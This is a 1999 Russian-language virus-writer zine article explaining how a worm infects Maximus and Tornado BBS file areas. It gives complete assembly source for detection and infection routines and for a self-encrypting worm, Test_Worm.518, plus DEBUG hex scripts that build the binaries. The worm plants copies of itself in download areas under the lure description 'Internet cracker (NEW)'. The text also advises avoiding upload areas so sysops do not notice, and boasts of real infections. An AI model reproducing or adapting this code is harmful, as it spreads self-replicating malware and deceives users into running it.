─[BBS INFECTION]────────────────────────────────────────────────────[MONGOOSE]─


    В 10ом выпуске MoonBug'а я опубликовал свою статью о методах использования
 bbs для нужд вируса (не файловой базы/архивов). Правда эта статья не содержа-
 ла примеров, там  была истолкованна только теория (на примере максимуса). Наш
 вирус (червь) использующий эту технологию уже был выпущен на пару новых  борд
 и вышел в качестве релиза команды. Ниже  рассказывается о заражении некоторых
 bbs платформ.

    Я просто офигел когда увидел, что вирус Worm Ternopil (использующий техно-
 логию заражения files.bbs максимуса) попал в список четырех наиболее интерес-
 ных вирусов июня `99 (так утверждает Касперский в своем электроном вестнике).


                                 "содержание"

    1. Два метода заражения maximus (тестировалось на версии 3.01)
    2. Заражение tornado (тестировалось на версии 1.56g)

                                     * * *

   1A. Заражение maximus (первый метод)

    Так как первый метод заражения максимуса я описал в MoonBug'е #10 здесь он
 представлен в кратце и полностью снабжен кодом.

    Первым делом  нам  надо определить есть ли у жертвы максимус, чтобы лишний
 раз не искать файлы. Для этого мы залезаем в C:\AUTOEXEC.BAT, считываем 2кб и
 ищем в них: "set maximus" или "SET MAXIMUS" если какая нибудь из строк найде-
 на то мы _включаем_ или _выключаем_ флаг.

────[FIND_MAX.ASM]───[START]───────────────────────────────────────────────────
 check_maximus: mov    ax,3d02h                 ; Open for read'n'write
                mov    dx,offset auto           ; C:\AUTOEXEC.BAT
                int    21h
                jc     not_found                ; Jump if file not found/error
                xchg   bx,ax                    ; Move file handle to bx

                mov    ah,3fh                   ; Real 2kb from autoexec.bat
                mov    cx,2000                  ; in buffer
                mov    dx,offset buffer_auto    ; File location
                int    21h

                mov    ah,3eh                   ; Close file
                int    21h

                sub    bx,bx                    ; Zero register
                mov    cx,2000                  ; Number bytes to check
 max_check:     push   cx                       ; Save block size
;╒═════════════════════════════════════════════════════════════════════════════
;│ Compare with "set maximus"
;╘═════════════════════════════════════════════════════════════════════════════
                mov    di,offset [set_maximus_1]
                lea    si,offset [bx+buffer_auto]
                mov    cx,11                    ; Compare 11 bytes
                cld
                repe   cmpsb
                jz     found                    ; Jump if ==
;╒═════════════════════════════════════════════════════════════════════════════
;│ Compare with "SET MAXIMUS"
;╘═════════════════════════════════════════════════════════════════════════════
                mov    di,offset [set_maximus_2]
                lea    si,offset [bx+buffer_auto]
                mov    cx,11                    ; Compare 11 bytes
                cld
                repe   cmpsb
                jnz    chk_again                ; Jump if !=
                 
 found:         pop    cx                       ; Restore CX
                mov    byte ptr maximus_set,1   ; Set flag (maximus found)
                ret                             ; Return to caller

 chk_again:     inc    bx                       ; Increase
                pop    cx                       ; Restore CX
                loop   max_check                ; Continue until CX == 0
 not_found:     mov    byte ptr maximus_set,0   ; Set flag (maximus not found)
                ret

 auto                  db 'c:\autoexec.bat',0   ; Path to AUTOEXEC.BAT
 maximus_set           db ?                     ; 0 - No Maximus
                                                ; 1 - Maximus found
 buffer_auto           db 2000 dup (?)          ; Buffer for 2kb from AUTOEXEC
 set_maximus_1         db 'set maximus'         ; First string to compare
 set_maximus_2         db 'SET MAXIMUS'         ; Second string to compare
────[FIND_MAX.ASM]───[END]─────────────────────────────────────────────────────

    После этого нам уже стало ясно есть ли на винте максимус или его  нет. Да-
 лее при поиске файлов мы это еще вспомним.

    Допустим наш вирус вовсе не червь, и он заражает  COM-файлы. Параллельно с
 поиском файлов  в каталоге вирус должен проверять включен ли флаг (установлен
 ли максимус) и если да, то  перед поиском (или после) COM-файлов вирус должен
 поискать в каталоге файлик FILES.BBS. Если он найден, то значит этот  каталог
 возможно является файловой областью станции. Является или нет  нам все равно,
 мы должны проверить  не заражена ли уже облась. Обычно сисопы (даже самые...)
 держат на станции только запакованные файл, поэтому кроме нашего  дроппера (в
 виде COM или EXE файла), если конечно область заражена других COM-файлов  там
 быть не  должно. Затем _мы_ должны создать дроппер содержащий вирусный  код и
 вписать его (дроппера) имя в FILES.BBS.

────[CHECK_IF.ASM]───[START]───────────────────────────────────────────────────
 infect_maximus:call   search_exe               ; Check, if area already in-
                cmp    al,32                    ; fected
                jnz    no_file_bbs              ; Jump if infected

                mov    ax,3d02h                 ; Open for read'n'write
                mov    dx,offset max_file_list
                int    21h
                jc     no_file_bbs              ; Jump if error occured
                xchg   bx,ax                    ; Move file handle to BX

                mov    ax,4202h                 ; Move pointer to end of file
                sub    cx,cx
                cwd
                int    21h

                mov    ah,40h                   ; Add dropper to file area
                mov    cx,(string_end-string_fb)
                mov    dx,offset string_fb
                int    21h

                mov    ah,3eh                   ; Close file
                int    21h
 no_file_bbs:   ret
 string_fb             db 13,10                 ; File name
                       db '-=ЁMYЁ=-.EXE',0
 string_end     label  byte
 max_file_list         db 'files.bbs',0
;╒════════════════════════════════════════════════════════════════════════════
;│ Search COM-files in current directory
;╘════════════════════════════════════════════════════════════════════════════
 search_exe:    mov    ah,4eh                   ; Search for our droppers in
                sub    cx,cx                    ; area
                mov    dx,offset mask_exe
                int    21h
                jnc    fb_infected              ; Jump if dropper found

                call   rnd_name                 ; Generate random name

                mov    di,offset [string_fb+2]
                mov    si,offset r_fname
                mov    cx,8
                cld
                rep    movsb

                mov    ah,3ch                   ; Create dropper
                sub    cx,cx
                mov    dx,offset string_fb+2
                int    21h
                jc     fb_infected              ; Jump if error
                xchg   bx,ax                    ; Move file handle in BX

                in     ax,40h                   ; Get random number in AX
                xchg   cx,ax                    ; Move it to CX
                call   rnd_num                  ; Get random number (of junk)
                                                ; from 0 to CX

                mov    cx,(end_of_code-start)   ; Virus body size
                add    cx,ax                    ; Add some junk
                mov    dx,offset real_start     ; Virus body location
                mov    ah,40h                   ; Write it to file
                int    21h

                mov    ah,3eh                   ; Close file
                int    21h

                mov    al,32                    ; Return 32
 fb_infected:   ret
 mask_exe              db '*.exe',0
;╒════════════════════════════════════════════════════════════════════════════
;│ Generate random name │ ON EXIT RANDOM NAME IN "r_fname"
;╘════════════════════════════════════════════════════════════════════════════
 rnd_name:      push   bp
                sub    bp,bp

 _check:        cmp    bp,8
                jz     exit

                mov    cx,4
                call   rnd_num
                test   ax,ax
                jz     ch_number

 ch_letter:     mov    cx,26
                call   rnd_num
                add    al,41h
                jmp    move_ch

 ch_number:     mov    cx,10
                call   rnd_num
                add    al,30h
                
 move_ch:       mov    byte ptr [bp+r_fname],al
                inc    bp
                jmp    _check

 exit:          mov    di,offset [r_fname+8]
                mov    si,offset [f_name+8]
                mov    cx,5
                cld
                rep    movsb
                pop    bp
                ret
 f_name                db 'ABCDEFGH.COM'
 r_fname               db 'ABCDEFGH.COM',0      ; Filename
────[CHECK_IF.ASM]───[END]─────────────────────────────────────────────────────

   1B. Второй метод заражения maximus

    Правда Ternopil  Worm  заражал  только текущий диск а файловая база обычно
 находится у системных операторов не на одном диске с bbs софтом, а обход всех
 дисков - дерьмо. Поэтому можно искать файлик "filearea.ctl" (в нем содержится
 информация о всех файловых ариях станции),  но не только максимус  использует
 этот  файл,  торнада  тоже использует файл с таким же названием поэтому нужно
 проверить действительно ли перед нами максимус:  ищем файлы свойственные мак-
 симусу,  например max.ctl.  Если мы нашли максимус включайте (если конечно он
 небыл включен) флаг а/ля "maximus_set".

    Чтобы заразить файл арию нужно использовать путь после "Download". Нестоит
 трогать путь  после  "Upload" иначе мы заразим арию со свежими поступлениями,
 некоторые сисопы проверяют новые поступления и наткнувшись на  дроппер  могут
 заподозрить  неладное. После заражения файл арий _через "filearea.ctl"_ жела-
 тельно отключить поиск "files.bbs" это поможет увеличить скорость работы  ви-
 руса.

    Ниже представлена программа считавающая из "filearea.ctl" (файл должен на-
 ходиться в каталоге с программой) пути к файл ариям и записывающая их в  файл
 "path.txt".

────[GET_FA.ASM]─────[START]───────────────────────────────────────────────────
               .model  tiny
               .code
                org    100h

 sig_size              equ 8                    ; Signature size

 start:         mov    ax,3d00h                 ; Open "filearea.ctl" for
                mov    dx,offset file_area_ctl  ; read
                int    21h
                jc     exit_to_dos              ; Exit to dos if file not exist
                xchg   bx,ax                    ; Move file handle to BX

                mov    ah,3fh                   ; Read 40kb from "filearea.ctl"
                mov    cx,40000
                mov    dx,offset buffer
                int    21h
                mov    word ptr read,ax

                mov    ah,3eh                   ; Close file
                int    21h

                mov    ah,3ch                   ; Create "path.txt"
                sub    cx,cx
                mov    dx,offset f_name
                int    21h
                xchg   bx,ax                    ; Move file handle to BX

                sub    si,si                    ; Zero register
 get_again:     call   get_path                 ; Get path
                or     cx,cx
                jz     close_file               ; Jump if error occured

                mov    ah,40h                   ; Write path to file
                mov    dx,offset path_or_fname
                int    21h

                mov    ah,40h
                mov    cx,2
                mov    dx,offset _nul
                int    21h
                jmp    get_again                ; Find path for next filearea

 close_file:    mov    ah,3eh                   ; Close file
                int    21h

 exit_to_dos:   int    20h                      ;Exit to DOS
;══════════════════════════════════════════════════════════════════════════════
 get_path:      mov    ah,byte ptr comment_byte ; Comment byte in AH
 find_loop:     cmp    byte ptr [si+buffer],ah  ; Is string commented?
                jnz    check_it                 ; Jump if not
 check_when:    cmp    word ptr [si+buffer],0a0dh
                jz     check_it                 ; Search for end of string
                inc    si                       ; Net byte
                cmp    si,word ptr read
                ja     error                    ; Jump if _eof_
                jmp    check_when

 check_it:      push   si                       ; Save SI in stack
                add    si,offset buffer
                mov    di,offset signature
                mov    cx,word ptr sig_size     ; Signature size
                cld
                rep    cmpsb                    ; Compare signatures
                pop    si                       ; Restore SI
                jz     we_find_it               ; Continue if equal

 cont_find:     inc    si                       ; Next byte
                cmp    si,word ptr read
                jnz    find_loop                ; Continue until we don't
                                                ; find path or reach _eof_
 error:         sub    cx,cx
                ret

 we_find_it:    add    si,word ptr sig_size     ; Jump over signature
 fnd_path_loop: cmp    byte ptr [si+buffer],20h ; Find beginning of path
                jnz    path_found               ; Jump if path found
                inc    si                       ; Next byte
                cmp    si,word ptr read
                jnz    fnd_path_loop
                jmp    error                    ; Jump if path not found

 path_found:    push   si                       ; Save SI
                add    si,offset buffer         ; Move path to "path_or_fname"
                mov    di,offset path_or_fname
                mov    cx,64
                cld
                rep    movsb

                sub    si,si                    ; Clear SI
 find_end_loop: cmp    byte ptr [si+path_or_fname],20h
                jz     create_file
                cmp    byte ptr [si+path_or_fname],0ah
                jz     create_file
                cmp    byte ptr [si+path_or_fname],0dh
                jz     create_file
                mov    ah,byte ptr comment_byte
                cmp    byte ptr [si+path_or_fname],ah
                jz     create_file
                inc    si
                cmp    si,64
                jnz    find_end_loop

 create_file:   mov    byte ptr [si+path_or_fname],00h
                mov    cx,si                    ; Move path size to CX
                pop    si                       ; Restore SI
                ret

 comment_byte          db '%'                   ; Comment byte
 file_area_ctl         db 'filearea.ctl',0      ; File name to open
 signature             db 'Download'            ; Signature
 _nul                  db 13,10
 f_name                db 'path.txt',0          ; File name to create
 read                  dw ?
 path_or_fname         db 64 dup (?)            ; Path
 buffer                db 40000 dup (?)         ; Buffer
                end    start
────[GET_FA.ASM]─────[END]─────────────────────────────────────────────────────

────[GET_FA.SCR]─────[START]───────────────────────────────────────────────────
N GET_FA.SCR
E 0100 B8 00 3D BA D0 01 CD 21 72 3C 93 B4 3F B9 40 9C 
E 0110 BA 32 02 CD 21 A3 F0 01 B4 3E CD 21 B4 3C 2B C9 
E 0120 BA E7 01 CD 21 93 2B F6 E8 1D 00 0B C9 74 13 B4 
E 0130 40 BA F2 01 CD 21 B4 40 B9 02 00 BA E5 01 CD 21 
E 0140 EB E6 B4 3E CD 21 CD 20 8A 26 CF 01 38 A4 32 02 
E 0150 75 11 81 BC 32 02 0D 0A 74 09 46 3B 36 F0 01 77 
E 0160 1A EB EF 56 81 C6 32 02 BF DD 01 B9 08 00 FC F3 
E 0170 A6 5E 74 0A 46 3B 36 F0 01 75 D1 2B C9 C3 83 C6 
E 0180 08 80 BC 32 02 20 75 09 46 3B 36 F0 01 75 F2 EB 
E 0190 EA 56 81 C6 32 02 BF F2 01 B9 40 00 FC F3 A4 2B 
E 01A0 F6 80 BC F2 01 20 74 1E 80 BC F2 01 0A 74 17 80 
E 01B0 BC F2 01 0D 74 10 8A 26 CF 01 38 A4 F2 01 74 06 
E 01C0 46 83 FE 40 75 DB C6 84 F2 01 00 8B CE 5E C3 25 
E 01D0 66 69 6C 65 61 72 65 61 2E 63 74 6C 00 44 6F 77 
E 01E0 6E 6C 6F 61 64 0D 0A 70 61 74 68 2E 74 78 74 00 
RCX
00F0
W
Q
────[GET_FA.SCR]─────[END]─────────────────────────────────────────────────────


   2. Заражение tornado

    Как то недавно я попал на станцию, при входе ее системный оператор повесил
 с десяток  билютеней  сообщающих о том что взлом bbs незаконен,  вывесил даже
 статью из уголовного кодекса. Когда  я почитал почту на его станции я узнал о
 том что он заразился моим червяком. Червь не просто заразил архивы, а заразил
 файловые арии (как я понял по рассказу сисопа), но  он использовал торнаду, а
 червь умел заражать только максимус,  но факт остается фактом (желающие могут
 позвонить: 503-0696, 00:00-07:00).

    Заражение  торнады очень похоже  на второй способ  заражения максимуса, но
 существвует несколько  различий. Определить наличие торнады  на винте не втак
 просто как определить наличие максимуса (через autoexec.bat).

   1. Можно  искать торнаду по всем дискам в каталоге "tornado" (каталог в ко-
      торый торнада инсталируется по умолчанию).
   2. Можно искать файлы _присущие_ только торнаде по всему винту.

    Мне больше  нравится  второй метод,  ищем и заражаем архивы и за одно ищем
 файлик "filearea.ctl" (такой же файл используется максимусом в  таких же  це-
 лях). Если файлик найден то проверяем  есть ли в каталоге  файлик с названием
 "filearea.bbs" если да то возможно мы нашли максимус.

    У торнады в файлике "filearea.ctl" содержится  полная  информация  о  файл
 ариях (как у максимуса). Ищем путь указаный в "DLPath" и заходим в него, соз-
 даем дроппер если такого там нет (нужно обязательно запомнить имя дроппера) и
 архивы в ней, затем  ищем путь для текущей арии указаный в "FileList" (просто
 "files.bbs" не всегда может находиться в каталоге файл арии) и открываем фай-
 лик и туда (желательно в конец файла) добавляем имя файла-дроппера, счетчик и
 "описание" а/ля: "README.EXE [000] НОВЫЙ КРЯКЕР ИНТЕРНЕТА". Переходим к  сле-
 дующей файл арии и так до тех пор пока арии незакончатся.

   Ниже представлен пример торнадо-червячка:

    Самошифрующийся DOS вирус-червь. Представляет из себя DOS com-файл размера
 518 байт. При запуске червь  ищет файл "filearea.ctl" в текущем каталоге  и в
 каталоге "c:\tornado\". Если  файл найден то червь заражает все файл арии ко-
 торые в  нем прописаны. Червь создает  файл со  своей копией и "регистрирует"
 его в файле FILES.BBS - записывая в него имя файла-червя, счетчик  скачиваний
 и свое "описание" (Internet cracker (NEW)).

────[TESTWORM.ASM]───[START]───────────────────────────────────────────────────
; Test_Worm.518 - First Tornado Worm
;
;                                 (c) mongoose, Misdirected Youth, August `99
               .model  tiny
               .code
                org    100h

 start:         mov    si,offset real_start     ; Decrypt virus code
 key:           mov    al,0
                mov    cx,(end_of_code-real_start)
 decrypt_loop:  xor    byte ptr [si],al
                inc    si
                loop   decrypt_loop

 real_start:    mov    ax,3d00h                 ; Open "filearea.ctl" in
                mov    dx,offset file_area_ctl  ; current directory for read
                int    21h
                jnc    move_fhandle
                
                mov    ax,3d00h                 ; Open "c:\tornado\filearea..."
                mov    dx,offset tornado        ; for read
                int    21h
                jnc    move_fhandle
                jmp    exit_to_dos              ; Exit to dos if file not exist
 move_fhandle:  xchg   bx,ax                    ; Move file handle to BX

                mov    ah,3fh                   ; Read 40kb from "filearea.ctl"
                mov    cx,40000
                mov    dx,offset buffer
                int    21h
                mov    word ptr read,ax

                mov    ah,3eh                   ; Close file
                int    21h

                sub    si,si                    ; Zero register
 get_again:     mov    word ptr sig_size,6      ; Set signature size
                push   si
                mov    di,offset signature      ;┐
                mov    si,offset dlpath         ;│
                mov    cx,6                     ;│Set new signature
                cld                             ;│
                rep    movsb                    ;┘
                pop    si

                call   get_path                 ; Get path to file area
                or     cx,cx
                jnz    add_dropper_n
                jmp    exit_to_dos              ; Jump if error occured

 add_dropper_n: push   si
                mov    di,offset path_or_fname  ; Add dropper name to
                add    di,cx                    ; filearea path
                mov    si,offset [file_name-1]
                mov    cx,14
                cld
                rep    movsb
                pop    si

                mov    ax,3d00h                 ; Area already infected?
                mov    dx,offset path_or_fname
                int    21h
                cmp    ax,02h
                jz     create_dropper           ; Create dropper if okey
                xchg   bx,ax
            
                mov    ah,3eh                   ; Close file
                int    21h
                jmp    get_again                ; Next file area

 create_dropper:mov    ah,3ch                   ; Create dropper in file area
                sub    cx,cx
                mov    dx,offset path_or_fname
                int    21h
                jc     get_again                ; Jump if error occured
                xchg   bx,ax                    ; Move file handle to BX

                push   si                       ; Move worm body in buffer
                mov    si,offset real_start
                mov    di,offset xor_buffer
                mov    cx,(end_of_code-real_start)
                push   cx
                add    cx,(read-end_of_code)
                cld
                rep    movsb

                in     al,40h                   ; Generate random number
                mov    byte ptr [key+1],al

                pop    cx si                    ; Crypt worm body
                mov    di,offset xor_buffer
 xor_loop:      xor    byte ptr [di],al
                inc    di
                loop   xor_loop

                mov    cx,(real_start-start)    ; Write decryptor
                mov    dx,offset start
                call   write

                mov    cx,(read-real_start)     ; Write crypted body
                mov    dx,offset xor_buffer
                call   write

                mov    ah,3eh                   ; Close file
                int    21h

                mov    word ptr sig_size,8      ; Set signature size
                push   si
                mov    di,offset signature      ;┐
                mov    si,offset filelist       ;│
                mov    cx,8                     ;│Set new signature
                cld                             ;│
                rep    movsb                    ;┘
                pop    si

                call   get_path                 ; Get path to "files.bbs"
                or     cx,cx
                jnz    modify_fb
                jmp    exit_to_dos              ; Jump if error occured

 modify_fb:     mov    ax,3d02h                 ; Open "files.bbs"
                mov    dx,offset path_or_fname
                int    21h
                jnc    move_file_h
                jmp    get_again                ; Jump if file not found
 move_file_h:   xchg   bx,ax

                mov    ax,4202h                 ; Move pointer to end of file
                sub    cx,cx
                cwd
                int    21h 

                mov    cx,2
                mov    dx,offset nul
                call   write

                mov    cx,12                    ; Write dropper name
                mov    dx,offset file_name
                call   write

                mov    cx,(nul-description)     ; Write "description"
                mov    dx,offset description
                call   write

 close_file:    mov    ah,3eh                   ; Close file
                int    21h
                jmp    get_again

 exit_to_dos:   int    20h                      ;Exit to DOS
;┌─────────────────────────────────────────────────────────────────────────────
;│ DATA
;└─────────────────────────────────────────────────────────────────────────────
 comment_byte          db ';'                   ; Comment byte
 tornado               db 'c:\tornado\'         ; Directory to search tornado
 file_area_ctl         db 'filearea.ctl',0      ; File name to open
                       db '\'
 file_name             db 'TESTWORM.COM',0      ; File-worm name
 dlpath                db 'DLPath'              ; To find file area path
 filelist              db 'FileList'            ; To find "files.bbs"
 description           db ' [000] Internet cracker (NEW)'
 nul                   db 13,10
;══════════════════════════════════════════════════════════════════════════════
 write:         mov    ah,40h
                int    21h
                ret
;══════════════════════════════════════════════════════════════════════════════
 get_path:      mov    ah,byte ptr comment_byte ; Comment byte in AH
 find_loop:     cmp    byte ptr [si+buffer],ah  ; Is string commented?
                jnz    check_it                 ; Jump if not
 check_when:    cmp    word ptr [si+buffer],0a0dh
                jz     check_it                 ; Search for end of string
                inc    si                       ; Net byte
                cmp    si,word ptr read
                ja     error                    ; Jump if _eof_
                jmp    check_when

 check_it:      push   si                       ; Save SI in stack
                add    si,offset buffer
                mov    di,offset signature
                mov    cx,word ptr sig_size     ; Signature size
                cld
                rep    cmpsb                    ; Compare signatures
                pop    si                       ; Restore SI
                jz     we_find_it               ; Continue if equal

 cont_find:     inc    si                       ; Next byte
                cmp    si,word ptr read
                jnz    find_loop                ; Continue until we don't
                                                ; find path or reach _eof_
 error:         sub    cx,cx
                ret

 we_find_it:    add    si,word ptr sig_size     ; Jump over signature
 fnd_path_loop: cmp    byte ptr [si+buffer],20h ; Find beginning of path
                jnz    path_found               ; Jump if path found
                inc    si                       ; Next byte
                cmp    si,word ptr read
                jnz    fnd_path_loop
                jmp    error                    ; Jump if path not found

 path_found:    push   si                       ; Save SI
                add    si,offset buffer         ; Move path to "path_or_fname"
                mov    di,offset path_or_fname
                mov    cx,64
                cld
                rep    movsb

                sub    si,si                    ; Clear SI
 find_end_loop: cmp    byte ptr [si+path_or_fname],20h
                jz     create_file
                cmp    byte ptr [si+path_or_fname],0ah
                jz     create_file
                cmp    byte ptr [si+path_or_fname],0dh
                jz     create_file
                mov    ah,byte ptr comment_byte
                cmp    byte ptr [si+path_or_fname],ah
                jz     create_file
                inc    si
                cmp    si,64
                jnz    find_end_loop

 create_file:   mov    byte ptr [si+path_or_fname],00h
                mov    cx,si                    ; Move path size to CX
                pop    si                       ; Restore SI
                ret
 end_of_code    label  byte
 string                db 'Misdirected Youth'
;═════════════════════════════════════════════════════════════════════════════
 read                  dw ?
 sig_size              dw ?                     ; Signature size
 signature             db 8 dup (?)             ; Signature
 path_or_fname         db 77 dup (?)            ; Path
 xor_buffer            db (read-real_start) dup (?)
 buffer                db 40000 dup (?)         ; Buffer

                end    start
────[TESTWORM.ASM]───[END]─────────────────────────────────────────────────────

────[TESTWORM.SCR]───[START]───────────────────────────────────────────────────
N TESTWORM.COM
E 0100 BE 0D 01 B0 E8 B9 E8 01 30 04 46 E2 FB 50 E8 D5 
E 0110 52 F7 EA 25 C9 9B E5 50 E8 D5 52 FC EA 25 C9 9B 
E 0120 EB 01 05 E8 7B 5C D7 51 A8 74 52 B0 ED 25 C9 4B 
E 0130 EE EB 5C D6 25 C9 C3 1E 2F EE E0 EB EE E8 BE 57 
E 0140 E2 EB 56 D2 EA 51 EE E8 14 1B 4C B6 00 F5 E9 E3 
E 0150 21 9D EB 01 53 E8 BE 57 FA EB EB 11 56 C4 EA 51 
E 0160 E6 E8 14 1B 4C B6 50 E8 D5 52 FA EB 25 C9 D5 EA 
E 0170 E8 9C EF 7B 5C D6 25 C9 03 56 5C D4 C3 21 52 FA 
E 0180 EB 25 C9 9A 5B 7B BE 56 E5 E9 57 B7 EB 51 00 E9 
E 0190 B9 6B 29 F9 14 1B 4C 0C A8 4A EC E9 B1 B6 57 B7 
E 01A0 EB D8 ED AF 0A 13 51 E5 E8 52 E8 E9 00 50 E8 51 
E 01B0 11 E9 52 B7 EB 00 47 E8 5C D6 25 C9 2F EE E0 EB 
E 01C0 E0 E8 BE 57 E2 EB 56 A8 EA 51 E0 E8 14 1B 4C B6 
E 01D0 00 71 E8 E3 21 9D EA 03 D0 50 EA D5 52 FA EB 25 
E 01E0 C9 9B EB 01 BA 17 7B 50 EA AA C3 21 71 25 C9 51 
E 01F0 EA E8 52 8D EA 00 87 E8 51 E4 E8 52 C5 EA 00 8E 
E 0200 E8 51 F5 E8 52 A0 EA 00 B5 E8 5C D6 25 C9 01 CF 
E 0210 17 25 C8 D3 8B D2 B4 9C 87 9A 86 89 8C 87 B4 8E 
E 0220 81 84 8D 89 9A 8D 89 C6 8B 9C 84 E8 B4 BC AD BB 
E 0230 BC BF A7 BA A5 C6 AB A7 A5 E8 AC A4 B8 89 9C 80 
E 0240 AE 81 84 8D A4 81 9B 9C C8 B3 D8 D8 D8 B5 C8 A1 
E 0250 86 9C 8D 9A 86 8D 9C C8 8B 9A 89 8B 83 8D 9A C8 
E 0260 C0 A6 AD BF C1 E5 E2 5C A8 25 C9 2B 62 CE FB EA 
E 0270 D0 4C B0 ED 9D F9 69 54 B0 ED E5 E2 9C E1 AE D3 
E 0280 DE EE EB 9F F3 03 07 BE 69 2E B0 ED 57 E2 EB 63 
E 0290 E6 E0 EB 14 1B 4E B6 9C E2 AE D3 DE EE EB 9D 38 
E 02A0 C3 21 2B EB DE E0 EB 68 54 B0 ED C8 9D E1 AE D3 
E 02B0 DE EE EB 9D 1A 03 01 BE 69 2E B0 ED 57 FA EB 51 
E 02C0 A8 E8 14 1B 4C C3 1E 68 54 FA EB C8 9C F6 68 54 
E 02D0 FA EB E2 9C FF 68 54 FA EB E5 9C F8 62 CE FB EA 
E 02E0 D0 4C FA EB 9C EE AE 6B 16 A8 9D 33 2E 6C FA EB 
E 02F0 E8 63 26 B6 2B 4D 69 73 64 69 72 65 63 74 65 64 
E 0300 20 59 6F 75 74 68 
RCX
0206
W
Q
────[TESTWORM.SCR]───[END]─────────────────────────────────────────────────────

                                     (c) mongoose, soldier of Misdirected Youth